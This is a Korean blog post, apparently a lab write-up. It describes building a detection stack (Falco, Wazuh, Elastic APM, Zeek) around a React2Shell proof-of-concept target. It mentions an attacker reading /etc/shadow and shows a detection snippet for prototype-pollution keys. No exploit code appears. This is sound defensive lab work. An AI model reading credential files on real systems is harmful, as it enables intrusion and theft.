&lt;li&gt;&lt;b&gt; React2Shell PoC App&lt;/b&gt;: 실습의 핵심 타겟입니다. 깃허브의 PoC 코드를 기반으로 서버 사이드 렌더링(SSR) 및 서버 액션 취약점이 포함된 환경을 포트 3000번에 올렸습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt; Falco (Detection Engine)&lt;/b&gt;: 커널 시스템 콜을 감시하고 특히 최신 커널 환경에 최적화된 modern-ebpf 방식을 적용하여 성능 저하 없이 실시간 침해 사고를 포착합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt; Wazuh Agent (The Messenger)&lt;/b&gt;: Falco가 탐지한 로컬 로그(.json)를 수집하여 중앙 SIEM 서버(Wazuh Manager)로 안전하게 전송합니다. 이를 통해 개별 서버의 로그를 통합 관리할 수 있는 파이프라인을 완성했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;  구축과정에서 발생한 트러블슈팅&lt;br /&gt;1. DNS 설정 이슈&lt;br /&gt;- 처음에 Falco와 Wazuh 패키지 설치시 리포지토리를 불러오지 못하는 오류가 반복되서 답답했었는데 서버의 DNS 설정 문제가 원인이였습니다. /etc/resolv.conf에 8.8.8.8 설정을 수동으로 해준 뒤에 해결하였습니다. (근데 원래 자동으로 되어있는것 아닙니까??!?!?!? 왜 나한테만...이런일이...)&lt;br /&gt;2. 로그 파일 접근 권한&lt;br /&gt;- falco가 생성한 falco_events.json파일을 wazuh에이전트가 읽지 못하는 문제가 발생했습니다. falco는 root권한으로 로그를 남기기 때문에 chmod 644 명령어로 에이전트가 파일을 읽고 서버로 전송할 수 있도록 권한을 조정하여 해결하였습니다.&lt;br /&gt;3. GPG 키 등록 오류&lt;br /&gt;- 이건 뭐 표준 가이드라인대로 키를 등록해도 오류가 나는 경우가 있다고 하는데 그냥 수동 등록으로 쉽게 해결 가능합니다.&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yhP1v/dJMcahpzUQO/rbXepBPKVNykICFYE7dX60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yhP1v/dJMcahpzUQO/rbXepBPKVNykICFYE7dX60/img.png&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;279&quot; data-is-animation=&quot;false&quot; style=&quot;width: 25.6095%; margin-right: 10px;&quot; data-widthpercent=&quot;25.91&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yhP1v/dJMcahpzUQO/rbXepBPKVNykICFYE7dX60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyhP1v%2FdJMcahpzUQO%2FrbXepBPKVNykICFYE7dX60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KQac0/dJMcacV5BNx/lbaV9hNlmt0vfPrvAuSag0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KQac0/dJMcacV5BNx/lbaV9hNlmt0vfPrvAuSag0/img.png&quot; data-origin-width=&quot;738&quot; data-origin-height=&quot;81&quot; data-is-animation=&quot;false&quot; style=&quot;width: 73.2277%;&quot; data-widthpercent=&quot;74.09&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KQac0/dJMcacV5BNx/lbaV9hNlmt0vfPrvAuSag0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKQac0%2FdJMcacV5BNx%2FlbaV9hNlmt0vfPrvAuSag0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;738&quot; height=&quot;81&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;도커로 잘 올라간 모습 + 3000포트로 잘 열린 모습 입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCS02Y/dJMcacBNu4g/4vvNm8EbXM2KDFWWJ91y50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCS02Y/dJMcacBNu4g/4vvNm8EbXM2KDFWWJ91y50/img.png&quot; data-alt=&quot;wazuh agent 설치 후 wazuh 서버와도 잘 연결된 모습입니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCS02Y/dJMcacBNu4g/4vvNm8EbXM2KDFWWJ91y50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCS02Y%2FdJMcacBNu4g%2F4vvNm8EbXM2KDFWWJ91y50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;765&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;wazuh agent 설치 후 wazuh 서버와도 잘 연결된 모습입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Attacker - Kali Linux&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 서버의 취약점을 뚫고 들어가 명령어를 실행하는 주체&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;주요 구성 요소&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;Node.js &amp;amp; NPM&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Exploit Code&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpqXzk/dJMcadAEuak/f1ixRaC3noXf9mTgpgNep0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpqXzk/dJMcadAEuak/f1ixRaC3noXf9mTgpgNep0/img.png&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;226&quot; data-is-animation=&quot;false&quot; width=&quot;500&quot; height=&quot;127&quot; style=&quot;width: 78.8218%; margin-right: 10px;&quot; data-widthpercent=&quot;79.75&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpqXzk/dJMcadAEuak/f1ixRaC3noXf9mTgpgNep0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpqXzk%2FdJMcadAEuak%2Ff1ixRaC3noXf9mTgpgNep0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;890&quot; height=&quot;226&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FFSSx/dJMcaiIJPL5/jC4OWXakRVYkdMXTIVB2o0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FFSSx/dJMcaiIJPL5/jC4OWXakRVYkdMXTIVB2o0/img.png&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;818&quot; data-is-animation=&quot;false&quot; width=&quot;500&quot; height=&quot;500&quot; style=&quot;width: 20.0154%;&quot; data-widthpercent=&quot;20.25&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FFSSx/dJMcaiIJPL5/jC4OWXakRVYkdMXTIVB2o0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFFSSx%2FdJMcaiIJPL5%2FjC4OWXakRVYkdMXTIVB2o0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;818&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;공격도 잘 성공하고 falco룰도 잘 탐지되어 critical 로그도 잘 뜨는 모습입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oMjCg/dJMcagjS7cF/4Zi6cBDwzqwEpcYrzsTkyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oMjCg/dJMcagjS7cF/4Zi6cBDwzqwEpcYrzsTkyK/img.png&quot; data-origin-width=&quot;1559&quot; data-origin-height=&quot;931&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.4849%; margin-right: 10px;&quot; data-widthpercent=&quot;41.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oMjCg/dJMcagjS7cF/4Zi6cBDwzqwEpcYrzsTkyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoMjCg%2FdJMcagjS7cF%2F4Zi6cBDwzqwEpcYrzsTkyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1559&quot; height=&quot;931&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r7QLR/dJMcahwkza9/ZUigeNxGqUq7ewaF0SDKB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r7QLR/dJMcahwkza9/ZUigeNxGqUq7ewaF0SDKB0/img.png&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;419&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.3523%;&quot; data-widthpercent=&quot;58.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r7QLR/dJMcahwkza9/ZUigeNxGqUq7ewaF0SDKB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr7QLR%2FdJMcahwkza9%2FZUigeNxGqUq7ewaF0SDKB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;이 공격을 Wazuh 서버에서 보면, critical 알람도 뜨고 상세보기하면 cat /etc/shadow한것까지 흔적이 자세하게 다 보입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;APM 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상관분석 중 핵심은 &quot;공격자가 보낸 페이로드가 실제로 코드 내 취약점 지점에 도달했는가?&quot;를 증명하는 것입니다. 이때 프로세스 부분에 대한 로그 추출은 Falco로 가능하지만 애플리케이션 부분은 불가능합니다. 때문에 저희는 Elastic APM을 도입하였습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;APM의 역할과 도입 이유&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;코드 레벨 가시성 : Falco는 커널을 보고 APM을 이용해 함수 호출과 객체 내부를 봅니다.&lt;/li&gt;
&lt;li&gt;공격 증명 : React2Shell의 핵심인 프로토타입 오염이 일어나는 순간을 포착하여 에러 로그를 남깁니다.&lt;/li&gt;
&lt;li&gt;상관분석의 연결성 : WAF 단계와 Falco 단계 사이에서 실제 코드가 실행되었음을 알리는 트리거 정보를 제공합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 APM을 자바 스크립트의 proxy 객체를 사용하여 감시 카메라 역할을 하도록 합니다. 서버내의 중요한 객체를 proxy로 감싸고, 공격자가 __proto__, constructor 같은 민감한 키에 접근하여 값을 쓰려고 시도하면 프록시가 이를 가로채서 즉시 APM에 Prototype Pollution Attempted 에러를 전송하게 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 더 자세히 말씀드리자면,,, 공격자가 JSON.parse등을 통해서 조작된 데이터를 밀어 넣을 때 서버 내부에서는 4단계의 과정이 일어납니다. 1단계는 서버가 시작되면, 공격의 타겟이 되기 쉬운 핵심 객체들을 new Proxy(target, handler)로 감쌉니다. 2단계로는 handler안에 set이라는 트랩을 만드는데 이 트랩은 객체에 새로운 값을 쓰려는 공격을 받자 마자 무조건 실행됩니다. 3단계로는 set 함수 내부에서는 공격자가 건드리려는 key값이 있는데 이 key와 지금 공격자가 건들이는 부분이 같으면 경고를 전송하게 합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1767746937662&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (key === '__proto__' || key === 'constructor') {
    // 비상벨 울리기! (APM 전송)
    sendToAPM(&quot;  Prototype Pollution Attempt detected!&quot;);
    return false; // 값 변경 거부
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 좀 더 이해가 쉽지 않나요?ㅎㅎ 그래서 이 key 값이 일치하면 바로 APM 알람을 보내고 false를 리턴하는그런 흐름 입니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구축과정&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq1ayV/dJMcabQpR1n/rt0UkzHe6IbWKSkbI1g420/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq1ayV/dJMcabQpR1n/rt0UkzHe6IbWKSkbI1g420/img.png&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;293&quot; data-is-animation=&quot;false&quot; width=&quot;450&quot; height=&quot;177&quot; style=&quot;width: 64.0832%; margin-right: 10px;&quot; data-widthpercent=&quot;64.84&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq1ayV/dJMcabQpR1n/rt0UkzHe6IbWKSkbI1g420/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq1ayV%2FdJMcabQpR1n%2Frt0UkzHe6IbWKSkbI1g420%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;747&quot; height=&quot;293&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgBe3v/dJMcadOa22J/Wh2FHEmO5hu8mUvtWir0S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgBe3v/dJMcadOa22J/Wh2FHEmO5hu8mUvtWir0S0/img.png&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;588&quot; data-is-animation=&quot;false&quot; style=&quot;width: 34.754%;&quot; data-widthpercent=&quot;35.16&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgBe3v/dJMcadOa22J/Wh2FHEmO5hu8mUvtWir0S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgBe3v%2FdJMcadOa22J%2FWh2FHEmO5hu8mUvtWir0S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;next.js는 자체적인 서버 라이브러리를 내자앟고 있어서 사용자가 수정할 수 있는 app.js 파일이 없습니다. 때문에 따로 instrumentationHook을 켜줍니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 일반적인 node.js 구조와 next.js는 좀 달라 instrumentation.ts라는 특수한 hook을 사용하여 구축하였습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;에이전트 초기화 (instrumentation.ts): 서버가 시작될 때 가장 먼저 실행되어 APM 에이전트를 가동합니다.&lt;/li&gt;
&lt;li&gt;공유 인스턴스 (lib/apm.ts): 애플리케이션 어디서든 동일한 APM 감시자를 사용할 수 있도록 '싱글톤(Singleton)' 패턴을 적용했습니다.&lt;/li&gt;
&lt;li&gt;환경 설정 (next.config.ts): APM 관련 패키지들이 빌드 시 누락되지 않도록 serverExternalPackages 설정을 추가했습니다.&lt;/li&gt;
&lt;li&gt;도커라이징: docker-compose.yml을 통해 서비스 이름, 서버 주소, 샘플링 비율 등의 환경 변수를 주입했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KSJ3t/dJMcac9AkN3/TB4lP6vyrkGIBZleJFzlak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KSJ3t/dJMcac9AkN3/TB4lP6vyrkGIBZleJFzlak/img.png&quot; data-alt=&quot;도커라이징 하는 모습입니다. 이때 ELASTIC_APM_SERVER부분에만 server 주소를 작성해주면 됩니다. 저는 옆에 짝궁이 apm 통합 server를 설치해주었기 때문에 192.168.10.58로 변경해주었습니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KSJ3t/dJMcac9AkN3/TB4lP6vyrkGIBZleJFzlak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKSJ3t%2FdJMcac9AkN3%2FTB4lP6vyrkGIBZleJFzlak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;306&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;도커라이징 하는 모습입니다. 이때 ELASTIC_APM_SERVER부분에만 server 주소를 작성해주면 됩니다. 저는 옆에 짝궁이 apm 통합 server를 설치해주었기 때문에 192.168.10.58로 변경해주었습니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JVEGP/dJMcahiNJzF/cbtt23s6N2KObkZSj9frk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JVEGP/dJMcahiNJzF/cbtt23s6N2KObkZSj9frk1/img.png&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.35&quot; style=&quot;width: 48.7769%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JVEGP/dJMcahiNJzF/cbtt23s6N2KObkZSj9frk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJVEGP%2FdJMcahiNJzF%2Fcbtt23s6N2KObkZSj9frk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;817&quot; height=&quot;491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n2fuB/dJMcafSPGAl/A21wYEk8KmkPKGjkg7aHy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n2fuB/dJMcafSPGAl/A21wYEk8KmkPKGjkg7aHy0/img.png&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;763&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.0603%;&quot; data-widthpercent=&quot;50.65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n2fuB/dJMcafSPGAl/A21wYEk8KmkPKGjkg7aHy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn2fuB%2FdJMcafSPGAl%2FA21wYEk8KmkPKGjkg7aHy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1303&quot; height=&quot;763&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;왼쪽 그림은 next.js APM이 켜져서 로그들이 쌓이고 있는 화면, 오른쪽이 APM server가 kibana로 로그를 보여주는데 이 kibana에 잘 쌓이는 모습입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;  구축과정에서 발생한 트러블슈팅&lt;br /&gt;1. 인스턴스 파편화&lt;br /&gt;- 여러 파일에서 require('elastic-apm-node')를 각각 호출하면서 실제 실행된 객체와 에러를 잡으려는 객체가 달라 로그 유실 문제가 발생하였는데 lib/apm.ts를 만들어 단 하나의 APM 객체만 사용하도록 통일시켰습니다.&lt;br /&gt;2. 트랜잭션 누락&lt;br /&gt;- 최신 APM 에이전트는 transaction이라는 테두리 안에서 발생한 에러만 서버로 전송합니다. 따라서 단순 에러 캡쳐는 무시되는 경우가 많았는데 API 라우트(route.ts)에서 startTransaction을 수동으로 호출하여 모든 공격 감지 로그가 확실히 전송되도록 보장하였습니다.&lt;br /&gt;3. 의존성 및 빌드 오류&lt;br /&gt;- Next.js 빌드 과정에서 require-in-the-middle 같은 하위 패키지 버전 충돌로 인한 도커 빌드 실패 오류는 Dockerfile에서 캐시를 무시하고 패키지를 새로 설치하도록 수정하고 pnpm대신 안정적인 설치 방식으로 변경하였습니다.&lt;br /&gt;4. 서비스 이름 불일치&lt;br /&gt;- 환경 변수와 코드 내에 serviceName이 달라 Kibana 대시보드에서 데이터 분류가 되지 않았습니다. 대체...제가 왜 그렇게 설정했는지는...모르겠습니다. 제정신이 아니였나보죠ㅎㅎ..........^^&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Zeek 및 Arkime 설치&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그다음은 저희 조 공유서버에 Zeek와 Arkime을 추가로 구축하는 역할을 맡았습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 Zeek에 대해서 좀 알아보겠습니당~ 일단 zeek는 단순히 침입을 막는 도구가 아니라 네트워크에서 발생하는 모든 사건을 구조화된 데이터로 변환해주며 기록까지 해주는 장치입니다. 일반적인 IPS/IDS는 패킷이 공격인 것 같으면 차단하는데 집중하지만 Zeek는 누가, 언제, 어디서, 어떤 방식으로 대화했는지 상세한 기록을 남기는 역할입니다. 이전에 정리했듯이 conn.log(연결로그), http.log(웹 요청), ssl.log(인증서 정보)등을 텍스트로그로 실시간 추출해줍니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저희 프로젝트에서는 역직렬화 공격의 상관분석을 위해서는 zeek가 꼭 필요합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 React2Shell 페이로드를 보냈을 때, 서버 내부 로그(APM, Falco)만 있으면 어디서 온 공격인지 확신하기 어렵습니다. 이때 Zeek는 공격자의 Source IP와 TLS 지문을 가장 먼저 기록해서 이 공격이 외부의 어떤 도구로부터 시작되었는지 물리적인 증거를 제시합니다. 뿐만 아니라 인증서 정보와 암호화 방식도 기록합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 구축 과정에 대해 설명드리겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 네트워크 미러링 환경 구축&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 트래픽을 감시하기 위해서는 zeek 센서가 네트워크 흐름을 볼 수 있는 통로를 OPNsense 미러링을 통해서 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dual-NIC 구성
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Management (ens33) : SSH 접속 및 관리용 (IP가 할당되어 있어야함)&lt;/li&gt;
&lt;li&gt;Monitoring (ens38) : 트래픽 수집용 (IP 할당되어 있지 않아야하며 무차별모드/Promiscuous Mode로 활상화)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Netplan 설정
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;감시용 인터페이스(ens38)가 IP를 갖지 않도록 설정하고, 스텘 모드로 작동하게 하여 보안성을 높이고 네트워크 간섭을 최소화하였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Zeek 설치 및 핵심 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
